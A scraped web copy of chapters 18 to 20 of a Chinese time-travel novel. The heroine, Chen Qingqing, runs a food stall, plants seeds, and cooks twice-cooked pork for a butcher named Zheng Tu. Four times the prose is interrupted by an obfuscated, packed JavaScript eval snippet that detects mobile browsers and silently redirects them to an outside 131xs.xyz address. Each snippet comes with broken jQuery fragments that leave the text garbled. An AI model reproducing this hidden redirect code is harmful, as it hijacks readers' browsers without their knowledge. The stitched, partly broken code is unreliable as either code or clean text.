;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215291|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“郎君,说好了八文的哪能多收你钱。”陈青青既然说了就要按说好的来。 中年食客笑了,“小娘子这手艺好,菜煎饼味道足。我走南闯北这么多年,还是第一回吃你做的这些吃食呢。” “就冲这新奇,也该给足了钱。”中年食客又道。这要是在城里的酒楼里,吃到好吃的菜品,客人都要打赏来着。虽然自己这会没打赏的闲钱,这价钱可要给足了,哪能赚这便宜。 陈青青听了便笑着收下了,想一想又拿竹叶包了个茶叶蛋给他,“那郎君收下这茶叶蛋吧。” 那人要了三茶叶蛋,只吃了一个,余下的叫田娘子给包好了,想来是要带回家去。 中年食客一愣,转又笑道:“多谢小娘子。本要带回家给家中娘子和孩子子尝尝的,如此更添口福了。” “小娘子心思玲珑,这买卖啊一定会越做越大!”中年食客不禁又赞一句。 陈青青乐了,这句心思玲珑说进了她的心坎,爱听! 嘿嘿,我可是有新华夏的现代生活做支撑的,点子可多着呢! 旁边的王娘子这里也知道了菜煎饼要十文一个,乖乖,一个煎饼抵自家五个胡饼呢。 王娘子便拿了十文钱,非要给田娘子。 这哪能要,田娘子当然不收。 “王娘子,那煎饼是送你尝新的,哪能要你钱。”陈青青道。 “就是,再说了我们还用你家的桌子来着。”田娘子也道。 左右邻摊,就是要和气才能生财。 又拉扯几句,王娘子不好意思地拿回了钱。 到自己摊上和官人说道:“陈小娘子怎么也不要这钱,倒怪不好意思的。” “没事儿,我看这小娘子是个大气的。她做生意也有法子,就怕咱们倒要跟着她学。” 李大郞看出来了,这陈小娘子才摆摊几天,又是免费续碗,又是出新吃食,还会打折,倒像个老买卖人。 真是后生可畏! 陈家的食摊上陆续有食客前来,有新客也有老客人。 老客都要问上一句,今早怎么没来? 陈青青有些得意地笑了,看来自己的食摊还挺招人。 新客大都买了茶叶蛋便走了,吃过的客人却都在等着吃菜煎饼,没看着嘛,桌上那人正吃得香着呢。 虽然十文一个煎饼算不上便宜,但有菜有饭,是实在饱腹的吃食,常吃食摊的都算得明白。 再说了眼前的小娘子干活利落,食材也干净。带走的煎饼用油纸包好,在摊上吃的有专门的竹帘托着,又干净又方便。 更更要命的是,鏊子上的煎饼香气实在是诱人! 陈青青负责做菜煎饼,田娘子负责收钱拿茶叶蛋,至于糊粥,有的人等不及便自己拿碗盛了。 又因为菜煎饼做起来需要些时间,食客们自动排成了队,不用陈青青送到面前,自己就来取了。 好嘛,食摊吃成了自助餐。 这又给了陈青青启发,以后自己要是开个饭馆,可以有个自助区,自由取食,多自在! 陈青青边畅想边忙活着,还没过饭点,今天备好的东西便全卖完了。 田娘子心疼闺女累,忙叫她坐下了歇一歇。 陈青青倒没觉着有多累。 今儿生意好,这菜煎饼比茶叶蛋赚钱,她心里高兴。 18. 来种菜 娘两个收摊回到家,盘点一下今天赚的钱。 嗬,今儿赚的钱倒是昨天的两倍! 田娘子一个个数着铜板,心里乐开了花。纵然是累一点,娘两个忙活着也能赚钱了,这是以前从没想到过的。 陈青青也有了盘算,“阿娘,咱们再努努力,攒下些本钱,到时开个小饭馆,再雇两个人,就不用这么辛苦了。” 田娘子却是愣住了。还能开饭馆?还能雇人来?这是做梦也不敢想的事呀! “能行?”田娘子颤着嗓子问。 “当然。”陈青青却是乐观极了,“就凭我的手艺,阿娘说行不行?” “行,行!当然行!”田娘子乐了,闺女说行就肯定行! 因为天气时节到了,田娘子今天打算把菘菜和萝卜都种下育种的苗。 原来种菜还要自己育种子,陈青青想起前世来,想种什么菜直接去买种子就好了,科技改变生活! 田娘子把菜窖里存着的菘菜挑了一棵个头大的,切去大半的菜叶,只留中间的菜心部分,栽在了后院的地里,等到抽苔开花结了果实就可以收种子。 陈青青算是开了眼界,原来白菜是这样留种子的。 至于萝卜,也是挑了个大的栽到了地里,和菘菜一样就等着开花结果。 陈青青忙把自己收着的红萝卜拿了出来,打算照着样子埋起来。 这种红萝卜又叫樱桃萝卜,不管是生吃还是熟菜都比青萝卜味道好。 刚开始的时候,陈青青吃了几个,留了四个萝卜做种,如今便都栽到了土里。 田娘子见了,又想起那回陈青青上山带回来的那些,忙叫她找出来,看看是不是要种下去了。 正中陈青青的下怀。 遂把花生和土豆、玉米和辣椒还有圣女果的种子都找了出来。 这几样陈青青倒知道种法,就是具体的播种时间拿不准。不过谚语都说了,清明前后种瓜点豆,如今离清明也不远了,种上便是。 “现在咱们种上了,往后就有神仙果子了。”田娘子很有些得意。 陈青青做了个禁声的动作,“阿娘,咱们可得悄悄的,别叫外人知道了。” 田娘子连连点头。 这后院四周有树篱,等到枝叶长密了,从外面看也不容易。再说了,如今她们家里也少有人来,大不了到时把后院的门关起来,不叫人进就是,保密的事还是容易的。 土豆、花生和玉米都种了下去,辣椒和圣女果需要先种出苗来移栽。 别的都还好说,陈青青就是对玉米有些担心,都是嫩玉米,能不能出苗就看天意了。 种好了菜,田娘子要采香椿。 陈青青才注意到,北面一排小树竟然就是香椿树。红嫩带绿的枝叶在春风中招展,像在说,快吃我,快吃我。 春天的时候,妈妈爱做香椿菜吃,香椿炒鸡蛋,腌香椿拌小豆腐,都是极有春日特色的小菜。 陈青青一禁又想起了以前。 “今天的暮食咱们就吃香椿炒鸡蛋。”田娘子掐下嫩香椿芽,宣布了晚上的菜。 “好呀,好!”陈青青当然支持,“还可以腌香椿。” 田娘子笑了,“腌香椿要过几天,不用芽儿腌,等叶子长大些更才有味。” 原来还有这样的讲究,又涨知识了,陈青青点点头。 墙边的樱桃树和杏树都已经绿叶满枝,小小樱桃和青杏儿在叶间探头探脑,陈青青不由想起那句“绿叶成阴子满枝”的诗来。不过却不是寻春太迟的感慨,而是很快就能吃到樱桃和杏子的满心馋意。 因为摆了食摊,如今陈青青的眼里已经只剩下吃了。 民以食为天,自己应该不算煞风景吧。陈青青自嘲地笑一笑,也去掐香椿芽去了。 天大地大吃饭最大! 晚上的菜是陈青青掌勺,如今田娘子已经习惯让闺女掌勺炒菜了,她就烧烧火打打下手。 最平常不过的菜,经了陈青青的手仿佛变了样,俱都变成了美味。 先用热水焯了一下香椿,这是陈青青以前看到的科普,香椿中含有亚硝酸盐,要开水焯过才可以食用。 陈青青边焯香椿边把焯水这个知识点说给阿娘,“阿娘,记得以后吃香椿一定要先开水焯一下才好吃。” 田娘子点头表示记下了,这也许就是闺女做菜好吃的独门绝技吧,要记好了。 陈青青把焯过的香椿切碎,放在大碗中,加入盐,打了四个鸡子放在碗中,顺着一个方向搅拌好。 热油放切好的葱花炝锅,倒入搅拌好的蛋液,然后翻炒到两面金黄,就出锅了。 白瓷盘子盛上金黄带绿的香椿炒鸡子,独特的香气丝缕缕传出来。 田娘子轻嗅一下,“嗯,就是这香味!” 陈青青赶紧夹一块放在嘴里,香椿脆爽,鸡蛋滑嫩,如盎然的春意在舌尖绽放。 仿佛把春天吃进了嘴里! 第二天快到中午娘两个依旧去摆摊。 刚到摆摊的地方,竟然早有人等在了那里。 说是昨天尝了,这菜煎饼味道确实好吃,所以今儿早些来买。 陈青青忙和阿娘一起把小桌子先支起来,请食客们先坐下稍等一会儿。 人群中有一对青年男女,看样子是夫妻两个。见陈青青开始忙活起来,那位娘子忙道:“小娘子别急,原也是我们来得早。” “昨儿听官人说你家菜煎饼好吃,今天正好赶集,特意来尝尝。” 原来是这样,看这情形应该是很恩爱的小夫妻。 陈青青笑道:“多谢大娘子和郎君来捧场,请稍等,这就开始给你们做了。” 田娘子请两个人先坐下,小夫妻两个都说不用,只站在一起眼巴巴地等着。 田娘子看看人家两个,又瞅瞅自家闺女,心思闪动。 青青这年纪也不算小了,虽然如今风尚是不要太早成婚,可她今年也有十八岁了,按说该相看起来了。 都是前几年耽误了,现在看她的样子,似乎还没开窍呢。 陈青青正在炉前忙活着呢,可不知道阿娘心里所想。 她现在一门心思的想挣钱,才不去想那些有的没的。 很快就做好了一个菜煎饼,陈青青把菜煎饼放到一边竹帘上先散散热,又问那位娘子:“要不我给切开两半,你们一人先来一半吃着?” “不用,不用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247795|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”那位郎君忙摆摆手,“先给她。” 还怪疼老婆!陈青青笑一笑,把菜煎饼用油纸包了递给了那位大娘子。 她接过煎饼,急不待地咬了一小口,“好吃,好吃,果真和想象的一样好吃。” 又咬一口,“不,还要好吃。” “慢点,没人和你抢。”那青年男子嗔怪地说着自己娘子。 那位娘子被他说得有些不好意思了,低头笑一笑,忍不住还是嘀咕了一声,“就是好吃嘛。” 陈青青听着也笑了,“好吃”这两个字大约是对做饭人最实在的夸奖了。 还真是,来食摊上买茶叶蛋买菜煎饼的,说最多的就是你家的东西好吃! “好吃以后就多来哦。”陈青青头也不抬招呼一句,又开始做下一个菜煎饼了,简直化身煎饼侠。 又是忙碌的一中午,很快备好的东西都卖光了,陈青青拍拍满满当当的钱匣子,真是太满意了。 是不是这个钱匣有点小?要不要换一个? 田娘子听说陈青青还要换个大的钱匣子,直笑她:“要是每天挣这满满的一匣子就不错了,别想太多。” “阿娘,想得多才能挣更多哦。”陈青青逗阿娘。 毕竟敢想才能敢做。 娘两个收了摊子,回家。 回到家里,陈青青便跑到后院看她种的那些菜。 还是没动静,倒是阿娘栽的菘菜有变化了,叶子长大了。 竟然长这么快! 陈青青这样子把田娘子惹笑了,可见闺女是没种过庄稼的。但愿以后家里能攒些钱,闺女也能找个家中富足的人家,一辈子不用种地才好。 田娘子索性又种了一畦小青菜,“这个出苗快,天一暖很快就能吃了。” 又把留的菜种子都拿出来,育苗的育苗,播种的播种。 陈青青这才知道,如今的蔬菜已经很是丰富。什么茄子、丝瓜、菘菜、韭菜、芹菜、姜、萝卜、菠菜、大蒜、葱、冬瓜都有,当然除了自己带来的这几样。 陈青青对着种好的那片地暗暗祈愿,老天老天,穿越大神穿越大神,就让种子都能发芽长大吧! 种子种子,快快发芽,长大成为我的聚宝盆吧! 因为食摊改在了中午摆摊,昨天在食摊上吃的菜煎饼,今天陈青青打算好好炒个菜。 看看家里的存菜,也只有菘菜和韭菜了。 好,那就来个爆炒菘菜,再来个韭菜炒鸡子。 吃着饭,陈青青琢磨过来了,为什么觉得炒菘菜缺了味道,家常炒菘菜,猪肉是绝配啊! 别说,来了这么多天了,还没吃过肉呢。 听闺女说想吃肉,田娘子没吱声。 唉,都是家里没钱,没舍得买羊肉。至于猪肉,倒是便宜,可那味道却不是一般人能受得了。 看阿娘那表情陈青青就知道了,这会儿的猪肉看来自己所看到宋朝资料上一样,猪肉有腥骚味,宋人以吃羊肉为贵,甚至觉得猪肉是贱食。 其实这是他们不会吃! 阉割的猪的肉腥膻味道会小许多,再就是烹制的时候要用对方法。 陈青青觉得自己有把握做好猪肉这个菜。 19. 吃猪肉(一) 第二天上午,陈青青专门到了集市上,想买些猪肉回来试试水。 如今青云镇的集市已经规模很大,并且都是常摊,俨然一个繁华的城镇。 卖肉的有两家摊,一家卖羊肉,一家是专门卖猪肉。 陈青青先去羊肉摊上看了看,倒和后世的肉摊差不多,一排肉案上放着半扇半扇的肉,一旁有个挂肉的架子。 陈青青上前问一问价格,是不便宜,一斤羊肉要八十五文。 算了,还是买猪肉吧,等以后经济自由了再吃好了。 再走几步,便是卖猪肉的摊子。 卖猪肉的摊主是位皮肤黝黑身材壮实的壮汉,姓郑,人称郑屠。 郑屠面前肉案上放着半扇猪肉,旁边架子的钩子上悬挂着几片猪肉。 郑屠正自己嘀咕,“眼看着今天的肉卖不动,要说这猪如今采用了新法子,去势也去了腥膻气,应该好吃呀。” “唉,不识货呀!” 他这样嘀咕,倒叫旁边的人听个清楚,陈青青不禁失笑。 “要十斤精肉,切做臊子,不要见半点肥的在上头。”“再要十斤,都是肥的,不要见些精的在上面,也要切做臊子……”① 看着郑屠的猪肉摊,陈青青立马想起了以前课本里学过的句子,郑屠的形象一下就立体起来。 当然,此郑屠非彼郑屠也。 什么时候自己也能这样大气的,要十斤肉,再要十斤肉就好了!陈青青暗暗感叹。 见陈青青走过来,郑屠摆出了副笑脸,殷勤道:“小娘子买肉?” 陈青青点点头,正琢磨着买哪块儿好,又听郑屠说道:“小娘子,你买我这肉就情好吧,这都是去势了的……” 又一时觉得对人小娘子说这个粗俗,顿一顿才又道:“这都是处理过的猪,保准没那腥膻味。” “小娘子,你信我,我可是卖了多年的猪肉,这十里八乡的谁不知道我郑屠!” 竟是阉割过的猪,那应该是没有味儿了。 看来古代也没那么落后嘛,也不也掌握技术了。 陈青青听了郑屠的介绍倒是眼睛一亮,“不知多少钱一斤?” 来个顾客不容易,郑屠咬咬牙,“往常都是三十文一斤,小娘子要是要的多,好说好说。” 三十文倒也不算太贵,不过买东西嘛,讲价还是要讲的。 “那再便宜一些,今儿只买两斤,要是吃得好,以后是要多买的。”陈青青笑嘻嘻道。 不说以后出新吃食了,就是菜煎饼里加上猪肉丁,也是多了一种口味。 两斤也是个买卖,郑屠忙操起了刀,“小娘子看中哪块,我给切下来就是。” 又指指肥肉多的地方朝陈青青推荐,“这地方的不错,肉肥油水足。” 陈青青倒也知道旧时买肉都以肉肥为好,可她去不想要太肥的地方,遂指了指瘦肉多些地方,“就来这块儿的。” “这块好,肥瘦相间。小娘子是个眼光老道的。”郑屠手上麻利,三两下便切好了肉,还不忘夸赞陈青青两句。 没想到看起来五大三粗的郑屠这么能说会道,倒夸得陈青青有些不好意思起来。 “咦,这不是卖茶叶蛋的小娘子?”旁边的摊主倒认出了陈青青来,指指她问道。 看来这人买过我的东西,陈青青点头称是。 “郑屠,这就是那位卖茶叶蛋的小娘子,前儿我还给你捎了几个来着。”那摊主朝郑屠说道,转又想起什么,又问陈青青:“小娘子莫是又要上什么新吃食?到时得去尝尝。” 看来也是位“吃货。” 陈青青笑道:“一时倒没什么新花样,等后面会出新的,还请郎君到时捧场。” “好说,好说。”听到以后还会出新,那摊主连说好。 “原来那茶叶蛋是在你那里买的。”郑屠听了也赞一句,“小娘子好手艺!” “今儿这肉就算二十八文一斤。”郑屠提起肉称好,用麻绳拴了,系好递给陈青青。 陈青青数了铜板出来,付了钱刚要走,却听那郑屠叫一声“且慢”。 陈青青收了脚步,转头疑惑地看看他。 “小娘子,我还有个不情之请……”向来豪放的郑屠倒一时有些忸怩起来。 “知道小娘子是个巧心思的,若是做出好吃的猪肉菜来,能不能卖与我一些。” “说实在的,虽说现在这肉少了腥膻气,可是还是做不出好吃的来。白瞎我卖了这么多年的猪肉,倒没吃过好滋味的肉菜……” 原来是为了这个,陈青青不禁失笑。 看来是要快点上新品了,不过这个得好好琢磨琢磨,上个什么肉菜才好。 “行,等我琢磨着做好了,一定给郑屠尝尝。”陈青青应下了。 “那可说定了!”郑屠不忘追上一句,“小娘子是个爽快的,以后小娘子来买肉一定给你便宜。” 哈,这郑屠倒也有意思,倒是可以考虑考虑成为供应商。 回到家里,陈青青把肉放盆里用水泡着,先去去血水,这会儿也没空做,要先忙食摊的事儿。 田娘子看闺女这么兴高采烈,倒不忍泼她冷水,还是赶紧攒钱吧,也能叫闺女吃上羊肉这样的好肉。 到了近中午,两人也准备好了,一起推着车子去出摊。 今儿的东西依旧卖得快,很快便可以收摊了,陈青青收摊的动作那叫一个麻利。 这是想赶紧回去做肉吃了。田娘子看了暗暗笑,打趣她:“就这么馋了?” “嘻嘻。”陈青青笑嘻嘻,“还真有些馋了” 好久没吃肉了,是真馋了! “阿娘,等会儿我要做香香的肉,馋馋你!”陈青青不但打算馋阿娘,还想把整条街的的小孩都馋哭! 陈青青早就盘算好了,这次就做回锅肉。 虽然听郑屠说猪是阉割过的,可是也不能保证如后世的猪肉般没有什么味,所以陈青青想先用调料煮一煮,去去腥膻气,这样一来,正好适和做回锅肉。 陈青青决定两斤肉先做一半试试,其余的可以明天放到菜煎饼里,也算添了一味。 田娘子还是安心地给闺女打下手,就看她怎么做了。 陈青青先把猪肉切了一半,切成大块,用冷水泡了小半个时辰,将猪肉里的血水洗净。 再把洗干净的猪肉冷水下锅,放入姜片、葱段还有黄酒,煮开。 这一步等于是先焯水。本来也可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281099|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用焯水,陈青青还是担心猪肉味大,所以先焯一焯。 焯水的时候陈青青还有个小诀窍,就是不盖锅盖,这样可以多散发散发猪肉的气味。 肉焯好水,下一步便是煮肉了,这也是去腥膻气的重要一步。 焯水的时候冷水下锅,再煮肉的时候就要用热水了。 肉块热水入锅,锅里加入姜片、葱段、黄酒、八角,等肉煮到八成熟便可以了。 把肉块捞出来冷水浸一浸,这样切肉片的时候才好切。 切肉片很考验刀工,肉片切太薄了一炒就会碎,太厚了炒的时候肉片不打卷,不好看也不入味。 陈青青拎起肉块放在菜板上,左手按肉,右手执刀,切起肉倒像个挥刀的女将军。 此时的陈青青犹如神助,切出的肉片薄厚适中,做回锅肉最适合不过。 后院菜畦里的大蒜苗正是时候,用来炒回锅肉最对味。陈青青切完肉去拔上一把,去掉死叶清洗切段。 准备好了料,就开始炒菜了。 陈青青掌勺,田娘子烧火,娘两个早已形成默契。 锅烧热加少许油,放入切好的肉片。掌握火候是炒回锅肉的关键,这点陈青青很能把握。 翻炒到肉片边缘略微卷,肥肉颜色变透明,这样吃起来肥面不腻。 加入葱花、几粒花椒粒,酱清,一点点豆瓣酱,再倒入蒜苗段翻炒。 猪肉的香气随着热气散发开来。 香,很香!半点腥膻味也没有! “青青,你这真炒的是猪肉?怎么这么香呐!”田娘子闻着香味咽了口唾沫,有些不敢相信这炒的是猪肉。 “当然。”其实陈青青自己也有些馋了,“这就是猪肉的香!” 在弥漫的香气和母女俩的期待中,回锅肉炒好了,装盘出锅。 肉片金黄酱汁清亮,与翠绿蒜苗交织成画,引人入胜。 陈青青也不嫌热,忙夹一筷子放入嘴中。肥肉弹润,瘦肉酥香,豆酱的咸香,蒜苗的清香和肉片的香气在口中交汇融合,是恰到好处的咸鲜。 成功!陈青青在心里喊了一句,终于吃上肉了! 田娘子也夹一口吃了起来,一时满心的感叹。这辈子吃过的最好吃的东西加起来,竟不如闺女炒的这盘肉! 就算她以前在城里帮厨,这样的香喜味也是闻都没闻过的。 这金黄焦香的肉片,这翠绿可人的蒜苗,竟然能有这么好吃的味道! 这辈子值了呀! 陈青青是不知道阿娘那里还有这么多的感慨,她倒是觉得有些遗憾,要是辣椒种出来了,放上点辣,那才叫够味儿。 为了这点遗憾,陈青青吃过饭便跑到后院看她的菜去了。 菘菜又高了一点,叶子也大了许多,萝卜好像出了芽,其余的还是不见动静。 陈青青知道自己又心急了,这才刚种下两天,哪有那么快,要按自然规律来。 幸运之神会眷顾我的。陈青青双手合十,轻声嘀咕。 我穿都穿来了,这可是天选之子! 陈青青抬头望望天,天空一片澄蓝。 身旁树上叶子随风招展,有鸟儿在枝头跳来跳去,是充满希望的春天! 20. 吃猪肉(二) 第二天,陈青青的食摊上便推出了加肉的菜煎饼新品。 当然这肉是陈青青专门焯水处理过,切丁炒好了,有人要加肉便在菜馅中加上即可。 加了肉的菜煎饼加了三文钱的价,十三文一个。 虽然贵了好几文,但肉的滋味好,陈青青倒不担心卖不出去。 “今儿出了新花样,菜馅里可以加猪肉,十三文一个,客官尝尝不?” 陈青青笑着朝食客们推销“新产品”。 “猪肉?”有食客便问,那能好吃吗? “是猪肉,可是独门秘方制作哦。”陈青青俏皮一笑。 有人相信陈青青的手艺,这小娘子卖的吃食样样新奇,味道又好,想来这回的猪肉菜馅应该也错不了。 虽说加价了,可街上的那带肉馅的馒头都要七文一个了,个头小不说,味道还不怎么样。这一个菜煎饼怎么也抵两个馒头顶饱了,要是味道好,那再值不过了。 当下便有人要试试这加了肉的菜煎饼。 “小娘子,来一个加肉的。” “好嘞,管客稍等。”陈青青应一声,手上的活却是不停。 有人尝这个新就不怕没人买了,陈青青看一看这位食客,心里赞他是个识货的。 菜煎饼的馅里加上肉丁便多了肉的香气,放在煎饼上一加热,肉香随着热气散开,正等着的食客立马闻到了。 “好香!”“好香!” 闻到香气的不由都赞一句香。 “小娘子,这莫非就是那猪肉的香?”要加肉煎饼的那个忍不住问。 “正是。”陈青青点点头,“是不是很香?吃到嘴里更香哩。” 陈青青还故意馋人家。 “小娘子,我也来个加肉的。”这香气太馋人了,又有人想尝尝。 “好嘞!”陈青青应着,手上的动作越发麻利。 加肉菜煎饼出炉,陈青青把煎饼放到一旁的竹帘上散散热,又用油纸包了递给食客。 “客官拿好,小心烫。” 那位食客本打算带走的,却因香气实在诱人,接过煎饼没走两步,便忍不住咬了一口。 香!倒比昨儿吃的菜煎饼更香了许多。 这小娘子怎么做的猪肉,怎么能这么香! 又咬一口煎饼,那食客转过头去看看了食摊上的小娘子,看来人家真有独门秘方。 索性又倒回头,到了陈家的食摊旁,“小娘子,你做的这猪肉确实味道好!” 食客的称赞真心实意,陈青青当然照收,“客官吃着好吃,以后常来哟!” 有了这位打样,想吃菜煎饼的食客都选择了加肉的煎饼。 很快准备的肉就用完了,陈青青略有遗憾,应该备多些才是,明儿要多炒些肉。 “明儿得多备些肉了。”陈青青朝阿娘说道。 田娘子也点头,“青青手艺好,这猪肉确实香!” 说到买肉,陈青青打算明天一早再去买,中午才摆摊,处理起来也来得及。 猪肉有买的地,倒是菜该想想去哪里买。 前几天家里有存菜勉强够用,如今每天都要用,菜便需要买了。 时令蔬菜的价格倒是不贵,几文钱能买一大堆,就是在散摊上买,菜的质量不太好保障。 本来田娘子打算找村里的人去买,陈青青拦了下来。 自己开食摊是长久的事,带着村里的人一起赚点钱也是应该的,只是就这样找上门去怕失了主动。 有道是上赶着的不是买卖,要想长远还是等他们找上自己才对。 陈青青把道理说给阿娘听,田娘子倒也明白,“还是你想得周到。” 陈青青对阿娘的夸奖已经听惯了,照单全收。 这样倒不是陈青青想压价什么的,是想保证菜品的质量,有时太熟的人反倒不好提要求。 第二天陈青青正想早早去把猪肉买上,倒有人先登了门。 陈青青倒认识,来的是于娘子。 论起乡邻来,陈青青要喊于娘子婶子。 “婶子来了。”陈青青上前打招呼,“快进来。” “好……好……”于娘子应着,进了屋。 于娘子其实是个利落的人,说起话来也干脆,不过今天却有些一反常态,有话要说不说的样子。 田娘子也看出来了,“她婶子,是有什么事吗?” 话都问到这份上了,于娘子也放开了,“嫂子,我是想来问问,你们每天出食摊要不要菜……” “家里菜园子也种了不少菜,一时吃不完,想着若是你家要倒省了我出去卖了。” 想什么就来什么了。 陈青青瞅一瞅阿娘,笑了,朝于娘子道:“婶子来的正是时候,我正要出去买菜呢。每天出摊是要不不少的菜来着。” “不过,婶子,咱们把话说在前头,菜可得要新鲜的。” “这我知道,青青你放心就好。”于娘子应得干脆。 “青青这孩子。”田娘子一时倒有些不好意思,“你婶子可是最会侍弄菜园的,她的菜呀你放心就是。” 别的不知道,于娘子种的菜田娘子是服气的。 这样最好! 陈青青点头应了,“婶子尽管把菜送过来就是。” “其实……其实我带了些菜过来,你们看看成不成。”于娘子边说着边朝外走。 原来她带了一筐的菜过来,怕事情不成尴尬先放在了大门外面。 见陈青青应得痛快,于娘子也不藏着掖着了。 她飞快地走到门外,转又提着一个大箩筐进来。 “青青你来看看,婶子的菜怎么样?” 菜确实没话说。 于娘子带来的有韭菜、菘菜还有些小青菜,都是做菜煎饼用得着的,韭菜和青菜都码得整整齐齐,看着就新鲜。 “婶子这菜确实好!”陈青青竖起了大拇指。 得到肯定,于娘子笑得合不拢嘴。 陈青青便又给了价,倒比于娘子去集市上卖高了几文。于娘子有些不好意思,“就和集市上一个价吧。” 人家去集市上抬脚就能买到,凭什么多收钱。 陈青青想了想便按了市价,都是敞亮的人倒能做长远的买卖。 “婶子,咱们就这样说定了,我每天都要菜。要是你家菜不多了,也可以收别人家的菜送过来。” “只要菜够好,咱们就按市价多一文来,可好?” 陈青青想过了,与其自己每天去集市上买菜,倒不如把这个活给了于娘子,再加上点价也是人家的辛苦钱。 以后还要做“大买卖”呢,事情要从小处开始培养。 于娘子一时激动地有些说不出话来,陈家食摊如今生意好得很,一天需要的菜至少也得一二十斤,自己岂不是稍动动手就多得一二十文钱!这要是把菜拿到集市上卖,费工夫先不说,哪能多卖这多钱。 “……好……好!青青你尽管放心,保证菜好!”于娘子连声保证着。 送走了于娘子,田娘子还是有些不情愿,“青青,咱们不如直接到集市买了,白白多花钱。” “阿娘,也就多两个菜煎饼的钱,有这功夫我多想想新菜出来不好?”陈青青安慰阿娘,“明儿我还要开饭馆呢,到时都叫人来送货上门!” 嗯,到那时我就是大客户了,送货上门还得要价格便宜,美哉! 其实陈青青给于娘子加价,也是想拉扯一下乡邻的意思。虽然穿过来的时间不长,陈青青却感受到了这个青云小镇民风淳朴,乡里乡亲还是很友爱的,自己能帮一点是一点了。 解决了菜的问题,便是去买猪肉了。 陈青青叫阿娘在家歇着自己去了集市。 到了集市,直奔郑屠的肉摊。 肉摊前没人,郑屠正在隔壁摊上和人磨牙闲聊,远远地看到陈青青来了,也顾不得和人说话了,忙招呼起来,“小娘子今儿来割肉?” “来两斤五花。”陈青青想了想,还是肥瘦相间的肉香,便回道。 “五花好,吃起来香得很。”郑屠边割肉边道。 “我刚才听旁边的三郞说小娘子的食摊上出了加猪肉的煎饼,今儿正打算买来尝尝呢。” “小娘子应该是找到做猪肉的法子了,能不能做来叫我也尝尝……” “当然我出钱,我出钱……” 郑屠又有些急迫,又有些不好意思。 虽说现今猪肉腥膻气是小了许多,可是做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325280|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来还是不好吃。 不得其法呀! 郑屠不禁叹一口气。 要是有做猪肉的好法子出来,咱也多卖出去些猪肉不是。 陈青青看郑屠那样子不由失笑,“法子倒是有。” 听陈青青说有法子,郑屠眼睛都亮了许多。 “这会儿没空,等过了晌午我收了摊,你准备好肉,我试着做做可好?” 这送上来的买卖没有白白浪费的道理,陈青青还是接下了,就给他做盘回锅肉好了。 “好,好,好!”郑屠喜不自禁,一拍大腿连声说着好。 与郑屠定好了时间,陈青青提着肉走了。郑屠还在那里看着陈青青的背影,不住地嘀咕:“若真吃上一回好吃的猪肉,也是值了。” 中午,陈家的食摊照旧客满为患。那郑屠果真来买菜煎饼了。 “小娘子,给我来个加肉的。”郑屠粗声道。 虽然和陈青青约定好了晚上吃肉,可郑屠还是忍不住先来尝尝这加肉的菜煎饼。他可听隔壁摊上的刘三郎说了,加了肉的煎饼味道好得不得了。 “好说,好说。”陈青青应了,田娘子又请郑屠到桌子旁边先坐下来等。 郑屠嘴上应着,却不坐,只在一旁看着陈青青做煎饼。 别的不说,光闻着味儿就知道好吃! 这小娘子确实是个厉害的!郑屠对陈青青说的回锅肉更期待了。 等到郑屠吃上一口菜煎饼,越发口服心服。 郑屠朝陈青青竖着大拇指,一脸的敬佩,“小娘子,就冲这煎饼,我就知道能吃着好肉菜了!”把陈青青说得笑了起来,“你情等着就是!” 郑屠边吃着菜煎饼,回肉摊上等着了。 陈青青和田娘子收摊回到家,说起了给郑屠做回锅肉的事。 田娘子很是高兴,“青青有这本事,做个厨娘倒也不错,” 如今女子也能出门做事,做厨娘的话收入不错,倒是个不错的选择。 “我以前在京城里听人说呀,去皇宫里做到尚食娘子的也不是没有,那可是不得了呀!”田娘子感叹着。 皇宫里的尚食娘子听着怪好,其实也没什么吧,所谓伴君如伴虎,哪有那么自在。 等攒够钱了,我就开个小饭馆,这才是真自在吧。 陈青青含笑听着阿娘说话,只心里想想,也不出声驳她。 准备好用的材料,陈青青看看天色,去郑屠那里拿肉。 